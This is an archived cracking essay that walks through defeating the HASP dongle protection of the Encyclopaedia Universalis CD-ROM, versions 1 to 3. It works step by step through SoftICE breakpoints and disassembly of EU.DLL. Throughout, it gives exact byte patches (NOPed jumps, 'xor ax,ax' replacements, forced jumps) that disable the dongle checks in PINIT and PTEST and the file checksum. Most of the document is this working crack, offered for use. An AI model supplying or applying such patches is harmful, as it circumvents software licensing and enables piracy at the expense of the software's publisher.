ENCYCLOPAEDIA UNIVERSALIS SAGA
---------------------------------

Let's study the History of they Protection Scheme.


(as +ORC wrote it's important to study the History of
software Protection scheme)
look at http://www.encyclopaedia-universalis.fr
there is no downloadable Version but some Friend told
me that for the UNIVERSALIS Version 3 (1997) the latest one,
they (Universalis Crew) make a "Marketing" offer:
they send you the Complete Version 3 (with the Dongle of Course)

http://www.instinct.org/fravia/chineee1.htm (1 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

and you try it for 15 Days.


If your are not satisfied you send them back the Dongle and CD-Rom !
(and don't forget to thanks them with a 'Merci Beaucoup')

UNIVERSALIS 1 (1995):
------------------------

(16 bit writen in VBasic and BC++ (VBRUN300.dll and use Hasp.386))

dongle Type: i don't know (HASP! BUT WHICH ONE ??)

the target : EU.DLL 103.424 Bits (16Bit writen in BC++)

the Weakness:

after launching the proggy


(cdu.exe (32000 Color) or cdul.exe (256 colors)
there is a messagebox (16bit) who tell you in a bad french

"Aucun serveur protection actif n'a pu etre trouve (IPX ou NETBIOS)"

the Difficulties:

the EU.DLL is moveable, it's not easy to put a breakpoint with S-ice
EU.DLL is called by VBRUN300.DLL

UNIVERSALIS 2 (1996):( addons : ATLAS , PHONETISEUR)


------------------------------------------------------

(16 bit writen in VBasic (VBRUN300.dll and use Hasp.vxd))

dongle Type : MEMOHASP 1 ((according the dongle it-self)

the target : EU.DLL 120.784 Bits (16bt writen in BC++)

the Weakness:
same as above with the error message: "La cl de protection est absente"

the Difficulties:

same a above and a Checksum on EU.DLL


and some other call to Error Routine

UNIVERSALIS 3 (1997): ( addons : ATLAS , PHONETISEUR, DICTIONNARY, PAINTING )


------------------------------------------------------------------------------

(pseudo 32bit bit writen in VBasic (VBRUN300.dll and use Hasp.vxd))

Dongle Type: HASP 3 (according the dongle it-self)

http://www.instinct.org/fravia/chineee1.htm (2 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

the target : EU.DLL 127.344 Bits (16bt writen in C++)

the Weakness: no more Messagebox (but we use kernel!openfile)

the Difficulties:

a little bit more difficult


cause in the previous version the proggy starts the interface an
via a messagebox tell us "erreur pas de dongle".
in this one it does nothing it just Crash .
( allways a Checksum on EU.DLL and some other call to Error Routine )

TOOLS:
-------------

-S-ice 3.21
-WDasm8.9 (or previous)
-Hworks32 (any Editor)
and ultraedit32 for writing this essay :-)

INTRODUCTION
---------------

as Fravia+ said Dongle protection is


the "bte noire" of all Crackers,
and i thanx him for the DONGLE PROJECT and Zafernon for his works on Hasp.
but This one is not so difficult !.

A) let's study UNIVERSALIS VERSION 1 (95):


-------------------------------------------

in the Universalis Case using bpio (-h) 378 (379/379 etc) doesnt Works
and if we look at the dea-listing of EU.DLL
we found suspicious function like PINIT, PTEST etc..
Disassembly of File: Eu.dll

+++++++++++++++++++ SEGMENT INFO ++++++++++++++++++++++++


Number of Code/Data Segments = 15

...

+++++++++++++++++++ MENU INFORMATION ++++++++++++++++++

There Are No Menu Resources in This Application

http://www.instinct.org/fravia/chineee1.htm (3 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

+++++++++++++++++ DIALOG INFORMATION ++++++++++++++++++

There Are No Dialog Resources in This Application

+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++


Number of Imported Modules = 6 (decimal)

Import Module 001: GDI


Import Module 002: KERNEL
Import Module 003: TOOLHELP
Import Module 004: USER
Import Module 005: WIN87EM
Import Module 006: MVCL13W

+++++++++++++++++++ ENTRY TABLE FUNCTIONS ++++++++++++++++++


Number of Entry Table Functions = 0055 (decimal)

Addr:0006.00C2 Ord:0001d Type:FFh Name: EU_INIT {Exported}


Addr:0006.01B2 Ord:0002d Type:FFh Name: EU_CLOSE {Exported}
Addr:0006.0050 Ord:0003d Type:FFh Name: EU_ERROR {Exported}
...
...
...
Addr:0010.01C2 Ord:0051d Type:FFh Name: CVTANSI2EU {Exported}
Addr:0014.0256 Ord:0060d Type:FFh Name: PINIT {Exported} <-- in fact PINIT
(PTEST, PCLOSE)
Addr:0014.0341 Ord:0061d Type:FFh Name: PTEST {Exported} <-- i.e Port(INIT) or
Printer(INIT) ..
Addr:0014.0318 Ord:0062d Type:FFh Name: PCLOSE {Exported} <-- are called for
DONGLE CHECKING
Addr:0000.0000 Ord:0107d Type:00h Name: DLL pour Encyclopaedia Universalis (c) W.P.
Dauchy 1995
Addr:0000.0000 Ord:0163d Type:00h Name: EU

as you can see this dll is moveable so it's hard to bpx at this Function !

so it's easier to use bpx messagebox

then fire cdul.exe(or cdu.exe) and you 'll break at messagebox and after two F12 in
Sice
you stand here (at 0014.39d ) in PTEST (in fact PTEST is called very often (in
Background)
and is TESTING if you have not removed the Dongle )

Exported fn(): PTEST - Ord:003Dh


:0014.0341 B8FFFF mov ax, SEG ADDR of Segment 0015
:0014.0344 45 inc bp
:0014.0345 55 push bp
:0014.0346 8BEC mov bp, sp
:0014.0348 1E push ds
:0014.0349 8ED8 mov ds, ax
:0014.034B B80200 mov ax, 0002

http://www.instinct.org/fravia/chineee1.htm (4 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

:0014.034E 9AFFFF0000 call 0001.2D00h


:0014.0353 56 push si
:0014.0354 57 push di
:0014.0355 C746FC0000 mov word ptr [bp-04], 0000
:0014.035A A0631A mov al, [1A63]
:0014.035D 98 cbw
:0014.035E 0BC0 or ax, ax <-- we change it into xor
ax,ax (33c0)
:0014.0360 740C je 036E to force the jmp
:0014.0362 3D0100 cmp ax, 0001
:0014.0365 7417 je 037E
:0014.0367 3D0200 cmp ax, 0002
:0014.036A 7423 je 038F
:0014.036C EB3B jmp 03A9
:0014.036E 833E641A00 cmp word ptr [1A64], 0000 <-- flag to 0 = GOOD GUY
:0014.0373 7509 jne 037E <-- 2 nop (9090)
:0014.0375 0E push cs <-- 1 nop (90)
:0014.0376 E88DFE call 0206 <-call for checking dongle
change into xor ax,ax/nop
:0014.0379 A3641A mov [1A64], ax (i.e 33c090)
:0014.037C EB2B jmp 03A9
:0014.037E 833E641A00 cmp word ptr [1A64], 0000
:0014.0383 750A jne 038F
:0014.0385 90 nop
:0014.0386 0E push cs
:0014.0387 E86501 call 04EF
:0014.038A A3641A mov [1A64], ax
:0014.038D EB1A jmp 03A9
:0014.038F 833E641A00 cmp word ptr [1A64], 0000
:0014.0394 7407 je 039D
:0014.0396 6A00 push 0000
:0014.0398 90 nop
:0014.0399 0E push cs
:0014.039A E82700 call 03C4 <-- call PERROR
(which call the Messagebox)
:0014.039D A1641A mov ax, [1A64] <-- after 2
p-ret(F12) on messagebox we stand here
:0014.03A0 8946FC mov [bp-04], ax
:0014.03A3 C706641A0000 mov word ptr [1A64], 0000
:0014.03A9 A0631A mov al, [1A63]
:0014.03AC 98 cbw
:0014.03AD 40 inc ax
:0014.03AE BB0300 mov bx, 0003
:0014.03B1 99 cwd
:0014.03B2 F7FB idiv bx
:0014.03B4 8816631A mov [1A63], dl
:0014.03B8 8B46FC mov ax, [bp-04]
:0014.03BB 5F pop di
:0014.03BC 5E pop si
:0014.03BD 8D66FE lea sp, [bp-02]
:0014.03C0 1F pop ds
:0014.03C1 5D pop bp
:0014.03C2 4D dec bp
:0014.03C3 CB retf

http://www.instinct.org/fravia/chineee1.htm (5 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

Exported fn(): PERROR - Ord:0027h


:0014.03C4 B8FFFF mov ax, SEG ADDR of Segment 0015
:0014.03C7 45 inc bp
:0014.03C8 55 push bp
:0014.03C9 8BEC mov bp, sp
:0014.03CB 1E push ds
:0014.03CC 8ED8 mov ds, ax
:0014.03CE B81401 mov ax, 0114
:0014.03D1 9AFFFF0000 call 0001.2D00h
:0014.03D6 56 push si
:0014.03D7 57 push di
:0014.03D8 837E0600 cmp word ptr [bp+06], 0000
:0014.03DC 7506 jne 03E4
:0014.03DE A1641A mov ax, [1A64]
:0014.03E1 894606 mov [bp+06], ax
:0014.03E4 837E0600 cmp word ptr [bp+06], 0000
:0014.03E8 750D jne 03F7
:0014.03EA 33C0 xor ax, ax
:0014.03EC 5F pop di
:0014.03ED 5E pop si
:0014.03EE 8D66FE lea sp, [bp-02]
:0014.03F1 1F pop ds
:0014.03F2 5D pop bp
:0014.03F3 4D dec bp
:0014.03F4 CA0200 retf 0002
......
......
......

So if we make the change the code at 0014.35e and 0014.36e we defeat the Dongle Test

But we notice that if there is no more messagebox warning us about "pas de Dongle"
the proggy doesnt works at all cause the search index is not initialised.
in fact We forgot the PINIT function ! (The PINIT function Test the Dongle
and if there is one it make the search index initialisation)

so bpx messagebox
fire the proggy (cdu.exe or cdul.exe)
and when you break into Messagox do 3 F12
and you stand in VBRUN300.DLL in a call Far Routine
in fact you are in the routine who call all the PINIT, PTEST function of EU.DLL

see this piece of code

in VBRUN300.DLL

2277:6488 call Far es:[bx] <-- Now we can bpx at this adress
call 6522
call 67D1
mov cl,FF
Add di,di
jmp cs:[DI+6498]

http://www.instinct.org/fravia/chineee1.htm (6 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

.
.
.
and in here we bpx 2277:6488 at the call Far es:[bx]

we quit universalis

and one more time we launch cdu.exe


and we Break into vbrun300.dll at 2277:6488
do F8
and we are at the begining of the PINIT function in EU.DLL

Exported fn(): PINIT - Ord:003Ch


:0014.0256 B8FFFF mov ax, SEG ADDR of Segment 0015 <-- HERE
:0014.0259 45 inc bp
:0014.025A 55 push bp
:0014.025B 8BEC mov bp, sp
:0014.025D 1E push ds
:0014.025E 8ED8 mov ds, ax
:0014.0260 B80200 mov ax, 0002
:0014.0263 9AFFFF0000 call 0001.2D00h
:0014.0268 56 push si
:0014.0269 57 push di
:0014.026A 6A0A push 000A
:0014.026C 6A00 push 0000
:0014.026E 1E push ds
:0014.026F 68621A push 1A62
:0014.0272 9AFFFF0000 call 0001.0F44h
:0014.0277 83C408 add sp, 0008
:0014.027A 0E push cs
:0014.027B E8F8FD call 0076
:0014.027E 8946FC mov [bp-04], ax
:0014.0281 837EFC00 cmp word ptr [bp-04], 0000
:0014.0285 7403 je 028A <-- NOP NOP (9090)
:0014.0287 E97F00 jmp 0309 and we pass the
Dongle init and jmp to OK
:0014.028A C606621A01 mov byte ptr [1A62], 01
:0014.028F 90 nop
:0014.0290 0E push cs
:0014.0291 E8BD01 call 0451
:0014.0294 68FFFF push SEG ADDR of Segment 0014
:0014.0297 68FFFF push WORD_VALUE_AT_ADDRESS 0014.009Eh
:0014.029A 0E push cs
:0014.029B E862FD call 0000 <---- testing the
Dongle
:0014.029E 83C404 add sp, 0004
:0014.02A1 8946FC mov [bp-04], ax
:0014.02A4 837EFC00 cmp word ptr [bp-04], 0000
:0014.02A8 7510 jne 02BA
:0014.02AA 68FFFF push SEG ADDR of Segment 0014
:0014.02AD 68FFFF push WORD_VALUE_AT_ADDRESS 0014.00E0h
:0014.02B0 0E push cs
:0014.02B1 E84CFD call 0000 <---- testing the
Dongle

http://www.instinct.org/fravia/chineee1.htm (7 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

:0014.02B4 83C404 add sp, 0004


:0014.02B7 8946FC mov [bp-04], ax
:0014.02BA 837EFC00 cmp word ptr [bp-04], 0000
:0014.02BE 7433 je 02F3
:0014.02C0 C606621A02 mov byte ptr [1A62], 02
:0014.02C5 90 nop
:0014.02C6 0E push cs
:0014.02C7 E88701 call 0451
:0014.02CA 68FFFF push SEG ADDR of Segment 0014
:0014.02CD 68FFFF push WORD_VALUE_AT_ADDRESS 0014.01B0h
:0014.02D0 0E push cs
:0014.02D1 E82CFD call 0000 <--- testing the
Dongle
:0014.02D4 83C404 add sp, 0004
:0014.02D7 8BD0 mov dx, ax
:0014.02D9 0BD2 or dx, dx
:0014.02DB 7507 jne 02E4
:0014.02DD C746FC0000 mov word ptr [bp-04], 0000
:0014.02E2 EB0F jmp 02F3
:0014.02E4 817EFC8503 cmp word ptr [bp-04], 0385
:0014.02E9 7508 jne 02F3
:0014.02EB 83FA0B cmp dx, 000B
:0014.02EE 7403 je 02F3
:0014.02F0 8956FC mov [bp-04], dx
:0014.02F3 837EFC00 cmp word ptr [bp-04], 0000
:0014.02F7 7510 jne 0309
:0014.02F9 68FFFF push SEG ADDR of Segment 0014
:0014.02FC 68FFFF push WORD_VALUE_AT_ADDRESS 0014.013Ah
:0014.02FF 0E push cs
:0014.0300 E8FDFC call 0000
:0014.0303 83C404 add sp, 0004
:0014.0306 8946FC mov [bp-04], ax
:0014.0309 8B46FC mov ax, [bp-04]
:0014.030C A3641A mov [1A64], ax
:0014.030F 5F pop di
:0014.0310 5E pop si
:0014.0311 8D66FE lea sp, [bp-02]
:0014.0314 1F pop ds
:0014.0315 5D pop bp
:0014.0316 4D dec bp
:0014.0317 CB retf

just use an editor and change the Code


the end For universalis 1 (1995)

B) let's Study UNIVERSALIS VERSION 2 (96)


------------------------------------------------

looking at the header of the Dead-listing of EU.DLL

we found More Suspicious Function


(PREADWORD, PINIT , PTEST , _lread,_lclose,openfile etc ...)

http://www.instinct.org/fravia/chineee1.htm (8 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

(humm!! a Checksum !! do you feel it ?)

Addr:0003.00B5 Ord:0001d Type:FFh Name: EU_INIT {Exported}


Addr:0003.0209 Ord:0002d Type:FFh Name: EU_CLOSE {Exported}
Addr:0003.004C Ord:0003d Type:FFh Name: EU_ERROR {Exported}
Addr:0001.00B4 Ord:0004d Type:FFh Name: WEP {Exported}
Addr:0002.0000 Ord:0005d Type:FFh Name: LC_LOAD {Exported}
Addr:0002.035E Ord:0006d Type:FFh Name: LC_UNLOAD {Exporte
Addr:0004.09BB Ord:0037d Type:FFh Name: CVTEU2MAC {Exported}
...
Addr:0006.0478 Ord:0038d Type:FFh Name: PERROR {Exported}
Addr:0006.053B Ord:0039d Type:FFh Name: PREADWORD {Exported} <-- a new one !
...
Addr:0006.0772 Ord:0049d Type:FFh Name: PPARSEEXPR {Exported}
Addr:0006.01D1 Ord:0060d Type:FFh Name: PINIT {Exported} <-- old functions
Addr:0006.03CE Ord:0061d Type:FFh Name: PTEST {Exported}
Addr:0006.036C Ord:0062d Type:FFh Name: PCLOSE {Exported}
...
Addr:0000.0000 Ord:0115d Type:00h Name: DLL pour Encyclopaedia Universalis (c) W.P.
Dauchy 1995
Addr:0000.0000 Ord:0171d Type:00h Name: EU

and after searching the word HASP in the dead-listing


we found this

...
...
...
* Possible StringData Ref from Code Seg 001 ->"$HASP$CHECKSUM" <-- Well ! there is a
checksum
| Now we have a
confirmation
:0001.3DAB BEA525 mov si, 25A5
:0001.3DAE 1E push ds
:0001.3DAF 8BFE mov di, si
:0001.3DB1 8BF3 mov si, bx
:0001.3DB3 B9FFFF mov cx, FFFF
:0001.3DB6 F2 repnz
:0001.3DB7 AE scasb
:0001.3DB8 F7D1 not cx
:0001.3DBA 2BF9 sub di, cx
:0001.3DBC 87FE xchg si, di
:0001.3DBE 1E push ds
:0001.3DBF 06 push es
:0001.3DC0 1F pop ds
:0001.3DC1 07 pop es
:0001.3DC2 D1E9 shr cx, 01
:0001.3DC4 F3 repz
:0001.3DC5 A5 movsw
:0001.3DC6 13C9 adc cx, cx
:0001.3DC8 F3 repz
:0001.3DC9 A4 movsb
:0001.3DCA 1F pop ds

http://www.instinct.org/fravia/chineee1.htm (9 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

* Possible StringData Ref from Code Seg 001 ->"$KEY$STAMP$"


|
:0001.3DCB BE9925 mov si, 2599
:0001.3DCE 8C5EEC mov [bp-14], ds
:0001.3DD1 8976E8 mov [bp-18], si
:0001.3DD4 8C5EEA mov [bp-16], ds
:0001.3DD7 1E push ds
:0001.3DD8 1E push ds
:0001.3DD9 8BF3 mov si, bx
...
...

What we know ?:

-that the PINIT is call by VBUN300.DLL and if there is a dongle


it initialise the Search Index.

-that the PTEST is called very often and test


if we not remove the dongle (if we have one)

-and a messagebox warn us if we are Bad guys.

-and there is a checksum this Version 2

(i dont explain here the checksum scheme because it's not the more
important thing , we have just to remember how to recognize a checksum
i.e looking for _lread, _lseek, openfile etc...)

so looking at the PINIT function we found a


call for openfile and getmodulefilename

look at this

Exported fn(): PINIT - Ord:003Ch


:0006.01D1 B8FFFF mov ax, SEG ADDR of Segment 0007
:0006.01D4 45 inc bp
:0006.01D5 55 push bp
:0006.01D6 8BEC mov bp, sp
:0006.01D8 1E push ds
:0006.01D9 8ED8 mov ds, ax
:0006.01DB 81EC9001 sub sp, 0190
:0006.01DF 56 push si
:0006.01E0 57 push di
:0006.01E1 EB14 jmp 01F7
:0006.01E3 00000000000000000000 BYTE 10 DUP(0)
:0006.01ED 00000000000000000000 BYTE 10 DUP(0)
:0006.01F7 FF364019 push word ptr [1940]
:0006.01FB 16 push ss
:0006.01FC 8D866EFE lea ax, [bp+FE6E]
:0006.0200 50 push ax
:0006.0201 680401 push 0104
:0006.0204 9AFFFF0000 call KERNEL.GETMODULEFILENAME <-- retrieve the
EU.DLL name
:0006.0209 16 push ss

http://www.instinct.org/fravia/chineee1.htm (10 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

:0006.020A 8D866EFE lea ax, [bp+FE6E]


:0006.020E 50 push ax
:0006.020F 16 push ss
:0006.0210 8D8672FF lea ax, [bp+FF72]
:0006.0214 50 push ax
:0006.0215 6A00 push 0000
:0006.0217 9AFFFF0000 call KERNEL.OPENFILE <-- open EU.DLL
(green Light for the checksum)
:0006.021C 8BF8 mov di, ax
:0006.021E 0BFF or di, di
:0006.0220 7D0E jge 0230
:0006.0222 B88C03 mov ax, 038C
:0006.0225 5F pop di
:0006.0226 5E pop si
:0006.0227 8D66FE lea sp, [bp-02]
:0006.022A 1F pop ds
:0006.022B 5D pop bp
:0006.022C 4D dec bp
:0006.022D CB retf
:0006.022E EB34 jmp 0264
:0006.0230 C646FB01 mov byte ptr [bp-05], 01 <-- for the Counter
Checksum
:0006.0234 EB10 jmp 0246
:0006.0236 57 push di
:0006.0237 6A01 push 0001
:0006.0239 9AFFFF0000 call 0001.3D45h <-- this call for the
mathematical Checksum and PREADWORD
:0006.023E 83C404 add sp, 0004 <-- it crash if we change
EU.DLL (we have to avoid it)
:0006.0241 8BF0 mov si, ax
:0006.0243 FE46FB inc byte ptr [bp-05]
:0006.0246 807EFB03 cmp byte ptr [bp-05], 03 (3 time it call the
Checksum Routine)
:0006.024A 7CEA jl 0236 <--(change into NOP NOP
(9090) ) to avoid the Checksum
:0006.024C 57 push di
:0006.024D 9AFFFF0000 call KERNEL._LCLOSE
:0006.0252 0BF6 or si, si
:0006.0254 740E je 0264 <-- force the jump (EB0E)
:0006.0256 B88D03 mov ax, 038D
:0006.0259 2BC6 sub ax, si
:0006.025B 5F pop di
:0006.025C 5E pop si
:0006.025D 8D66FE lea sp, [bp-02]
:0006.0260 1F pop ds
:0006.0261 5D pop bp
:0006.0262 4D dec bp
:0006.0263 CB retf
:0006.0264 9AFFFF0000 call 0001.0250h
:0006.0269 6A0A push 000A
:0006.026B 6A00 push 0000
:0006.026D 1E push ds
:0006.026E 68541C push 1C54
:0006.0271 9AFFFF0000 call 0001.4F60h
:0006.0276 83C408 add sp, 0008

http://www.instinct.org/fravia/chineee1.htm (11 of 18) [2/7/2001 3:13:17 PM]


Dongle protection reversing (HASP)

:0006.0279 0E push cs
:0006.027A E8CBFD call 0048
:0006.027D 8BF0 mov si, ax
:0006.027F 0BF6 or si, si
:0006.0281 7403 je 0286 <-- same as UNIV Version 1
NOP it (9090)
:0006.0283 E9B300 jmp 0339
....
....
....

now what about PTEST ?

lets see the code, it's the same as Version 1

Exported fn(): PTEST - Ord:003Dh


:0006.03CE B8FFFF mov ax, SEG ADDR of Segment 0007
:0006.03D1 1E push ds
:0006.03D2 8ED8 mov ds, ax
:0006.03D4 56 push si
:0006.03D5 33F6 xor si, si
:0006.03D7 EB14 jmp 03ED
:0006.03D9 00000000000000000000 BYTE 10 DUP(0)
:0006.03E3 00000000000000000000 BYTE 10 DUP(0)
:0006.03ED 9AFFFF0000 call 0001.031Fh
:0006.03F2 3DFFFF cmp ax, FFFF
:0006.03F5 7505 jne 03FC
:0006.03F7 9AFFFF0000 call 0001.0250h
:0006.03FC A0551C mov al, [1C55]
:0006.03FF 98 cbw
:0006.0400 0BC0 or ax, ax <-- change into xor ax,ax
(33c0)
:0006.0402 740C je 0410 to force the jump
:0006.0404 3D0100 cmp ax, 0001
:0006.0407 7417 je 0420
:0006.0409 3D0200 cmp ax, 0002
:0006.040C 7423 je 0431
:0006.040E EB3B jmp 044B
:0006.0410 833E561C00 cmp word ptr [1C56], 0000 <-- FLAGS if O
goodguy
:0006.0415 7509 jne 0420 <-- nop nop (9090)
:0006.0417 0E push cs <-- nop
:0006.0418 E86BFD call 0186 <--( test the Dongle ) xor
ax,ax/nop
:0006.041B A3561C mov [1C56], ax (i.e 33c090)
:0006.041E EB2B jmp 044B
:0006.0420 833E561C00 cmp word ptr [1C56], 0000
:0006.0425 750A jne 0431
:0006.0427 90 nop
:0006.0428 0E push cs
:0006.0429 E82A02 call 0656
:0006.042C A3561C mov [1C56], ax

http://www.instinct.org/fravia/chineee1.htm (12 of 18) [2/7/2001 3:13:18 PM]


Dongle protection reversing (HASP)

:0006.042F EB1A jmp 044B


:0006.0431 833E561C00 cmp word ptr [1C56], 0000
:0006.0436 7407 je 043F
:0006.0438 6A00 push 0000
:0006.043A 90 nop
:0006.043B 0E push cs
:0006.043C E83900 call 0478 <-- call to PERROR
(Messagebox : "pas de cl de
protection")
:0006.043F 8B36561C mov si, [1C56]
:0006.0443 C706561C0000 mov word ptr [1C56], 0000
:0006.0449 EB00 jmp 044B
:0006.044B A0551C mov al, [1C55]
:0006.044E 98 cbw
:0006.044F 40 inc ax
:0006.0450 BB0300 mov bx, 0003
:0006.0453 99 cwd
:0006.0454 F7FB idiv bx
:0006.0456 8816551C mov [1C55], dl
:0006.045A EB14 jmp 0470
:0006.045C 00000000000000000000 BYTE 10 DUP(0)
:0006.0466 00000000000000000000 BYTE 10 DUP(0)
:0006.0470 8BC6 mov ax, si
:0006.0472 5E pop si
:0006.0473 1F pop ds
:0006.0474 CB retf
:0006.0475 5E pop si
:0006.0476 1F pop ds
:0006.0477 CB retf

Exported fn(): PERROR - Ord:0026h


:0006.0478 B8FFFF mov ax, SEG ADDR of Segment 0007
:0006.047B 45 inc bp
:0006.047C 55 push bp
:0006.047D 8BEC mov bp, sp
:0006.047F 1E push ds
:0006.0480 8ED8 mov ds, ax
:0006.0482 81EC1401 sub sp, 0114
:0006.0486 56 push si
:0006.0487 8B7606 mov si, [bp+06]
:0006.048A 0BF6 or si, si
:0006.048C 7504 jne 0492
:0006.048E 8B36561C mov si, [1C56]
:0006.0492 0BF6 or si, si
:0006.0494 750C jne 04A2
...
...

For the other call To PERROR when Clicking

on item INTERNET/IMPRIMER/PANIER etc ...

look at this piece of code

http://www.instinct.org/fravia/chineee1.htm (13 of 18) [2/7/2001 3:13:18 PM]


Dongle protection reversing (HASP)

:0006.08B2 B88B03 mov ax, 038B


:0006.08B5 8BF8 mov di, ax
:0006.08B7 EB14 jmp 08CD
:0006.08B9 00000000000000000000 BYTE 10 DUP(0)
:0006.08C3 00000000000000000000 BYTE 10 DUP(0)
:0006.08CD 0BFF or di, di
:0006.08CF 7408 je 08D9 <-- change into jmp 8d9
(EB08)
:0006.08D1 57 push di for no more Error Message
:0006.08D2 90 nop
:0006.08D3 0E push cs
:0006.08D4 E8A1FB call 0478 <-- call for PERROR
:0006.08D7 EB02 jmp 08DB Messagebox "Logiciel Protege
:0006.08D9 33C0 xor ax, ax
:0006.08DB 5F pop di
:0006.08DC 5E pop si
:0006.08DD 8D66FE lea sp, [bp-02]
:0006.08E0 1F pop ds
:0006.08E1 5D pop bp
:0006.08E2 4D dec bp
:0006.08E3 CA0400 retf 0004

end of UNIVERSALIS 2.

C) Let's work on UNIVERSALIS Version 3 (1997)


----------------------------------------------

The Protection scheme is Quasi The same as Version 2


the only change is that when launching cdu.exe (or cdul.exe)
nothing happens (if no dongle is on printer port)
it just crash. So if we ignore all the Precedent Work
The Messagebox trick doesn Works !
So we can try bpx kernel!openfile ,cause we know that it's make
a checksum with EU.DLL

So do BPX KERNEL!OPENFILE and after some F5 in s-ice


we are in EU.DLL at PINIT function .

(and the Work is the same as Version 2)

Exported fn(): PINIT - Ord:003Ch


:0005.0207 B8FFFF mov ax, SEG ADDR of Segment 0008
:0005.020A 45 inc bp
:0005.020B 55 push bp
:0005.020C 8BEC mov bp, sp
:0005.020E 1E push ds
:0005.020F 8ED8 mov ds, ax
:0005.0211 81EC8C01 sub sp, 018C
:0005.0215 56 push si

http://www.instinct.org/fravia/chineee1.htm (14 of 18) [2/7/2001 3:13:18 PM]


Dongle protection reversing (HASP)

:0005.0216 57 push di
:0005.0217 EB14 jmp 022D
:0005.0219 00000000000000000000 BYTE 10 DUP(0)
:0005.0223 00000000000000000000 BYTE 10 DUP(0)
:0005.022D FF367619 push word ptr [1976]
:0005.0231 16 push ss
:0005.0232 8D8672FE lea ax, [bp+FE72]
:0005.0236 50 push ax
:0005.0237 68FF00 push 00FF
:0005.023A 9AFFFF0000 call KERNEL.GETMODULEFILENAME
:0005.023F 16 push ss
:0005.0240 8D8672FE lea ax, [bp+FE72]
:0005.0244 50 push ax
:0005.0245 16 push ss
:0005.0246 8D8672FF lea ax, [bp+FF72]
:0005.024A 50 push ax
:0005.024B 6A00 push 0000
:0005.024D 9AFFFF0000 call KERNEL.OPENFILE
:0005.0252 8BF8 mov di, ax <-- we Break Here in sice
after BPX OPENFILE
:0005.0254 0BFF or di, di
:0005.0256 7D0E jge 0266
:0005.0258 B88C03 mov ax, 038C
:0005.025B 5F pop di
:0005.025C 5E pop si
:0005.025D 8D66FE lea sp, [bp-02]
:0005.0260 1F pop ds
:0005.0261 5D pop bp
:0005.0262 4D dec bp
:0005.0263 CB retf
:0005.0264 EB34 jmp 029A
:0005.0266 C646FB01 mov byte ptr [bp-05], 01
:0005.026A EB10 jmp 027C
:0005.026C 57 push di
:0005.026D 6A01 push 0001
:0005.026F 9AFFFF0000 call 0001.3D45h <-- Call for Checksum
:0005.0274 83C404 add sp, 0004
:0005.0277 8BF0 mov si, ax
:0005.0279 FE46FB inc byte ptr [bp-05]
:0005.027C 807EFB03 cmp byte ptr [bp-05], 03 <-- 3 Time Checksum
:0005.0280 7CEA jl 026C <--- NOP NOP (9090)
:0005.0282 57 push di
:0005.0283 9AFFFF0000 call KERNEL._LCLOSE
:0005.0288 0BF6 or si, si
:0005.028A 740E je 029A <-- Jmp 29a (EB0E)
:0005.028C B88D03 mov ax, 038D
:0005.028F 2BC6 sub ax, si
:0005.0291 5F pop di
:0005.0292 5E pop si
:0005.0293 8D66FE lea sp, [bp-02]
:0005.0296 1F pop ds
:0005.0297 5D pop bp
:0005.0298 4D dec bp
:0005.0299 CB retf
:0005.029A 6A0A push 000A

http://www.instinct.org/fravia/chineee1.htm (15 of 18) [2/7/2001 3:13:18 PM]


Dongle protection reversing (HASP)

:0005.029C 6A00 push 0000


:0005.029E 1E push ds
:0005.029F 680A0A push 0A0A
:0005.02A2 9AFFFF0000 call 0001.4F60h
:0005.02A7 83C408 add sp, 0008
:0005.02AA 0E push cs
:0005.02AB E89AFD call 0048
:0005.02AE 8BF0 mov si, ax
:0005.02B0 0BF6 or si, si
:0005.02B2 7403 je 02B7 <-- NOP NOP (9090)
:0005.02B4 E90101 jmp 03B8 <-- jump to Good
INITIALISATION
:0005.02B7 C6060A0A00 mov byte ptr [0A0A], 00
:0005.02BC 90 nop
:0005.02BD 0E push cs
:0005.02BE E88203 call 0643
:0005.02C1 0E push cs
:0005.02C2 E88BFD call 0050
:0005.02C5 0BC0 or ax, ax
:0005.02C7 7412 je 02DB
...
...
...

AND here The PTEST function


(which is called very often (in background) " Dongle is still Present " ???)

Exported fn(): PTEST - Ord:003Dh


:0005.0443 B8FFFF mov ax, SEG ADDR of Segment 0008
:0005.0446 1E push ds
:0005.0447 8ED8 mov ds, ax
:0005.0449 56 push si
:0005.044A 33F6 xor si, si
:0005.044C 833E0C0AFF cmp word ptr [0A0C], FFFF
:0005.0451 7506 jne 0459
:0005.0453 B88803 mov ax, 0388
:0005.0456 5E pop si
:0005.0457 1F pop ds
:0005.0458 CB retf
:0005.0459 EB14 jmp 046F
:0005.045B 00000000000000000000 BYTE 10 DUP(0)
:0005.0465 00000000000000000000 BYTE 10 DUP(0)
:0005.046F A00B0A mov al, [0A0B]
:0005.0472 98 cbw
:0005.0473 0BC0 or ax, ax <-- XOR AX,AX (33C0)
:0005.0475 740C je 0483 Force the jump
:0005.0477 3D0100 cmp ax, 0001
:0005.047A 7417 je 0493
:0005.047C 3D0200 cmp ax, 0002
:0005.047F 7423 je 04A4
:0005.0481 EB3B jmp 04BE
:0005.0483 833E0C0A00 cmp word ptr [0A0C], 0000
:0005.0488 7509 jne 0493 <-- NOP NOP (9090)

http://www.instinct.org/fravia/chineee1.htm (16 of 18) [2/7/2001 3:13:18 PM]


Dongle protection reversing (HASP)

:0005.048A 0E push cs <-- NOP (90)


:0005.048B E82EFD call 01BC it check the Dongle ( XOR
AX,AX / NOP)
:0005.048E A30C0A mov [0A0C], ax (i.e 33C090)
:0005.0491 EB2B jmp 04BE
:0005.0493 833E0C0A00 cmp word ptr [0A0C], 0000
:0005.0498 750A jne 04A4
:0005.049A 90 nop
:0005.049B 0E push cs
:0005.049C E83102 call 06D0
:0005.049F A30C0A mov [0A0C], ax
:0005.04A2 EB1A jmp 04BE
:0005.04A4 833E0C0A00 cmp word ptr [0A0C], 0000
:0005.04A9 7407 je 04B2
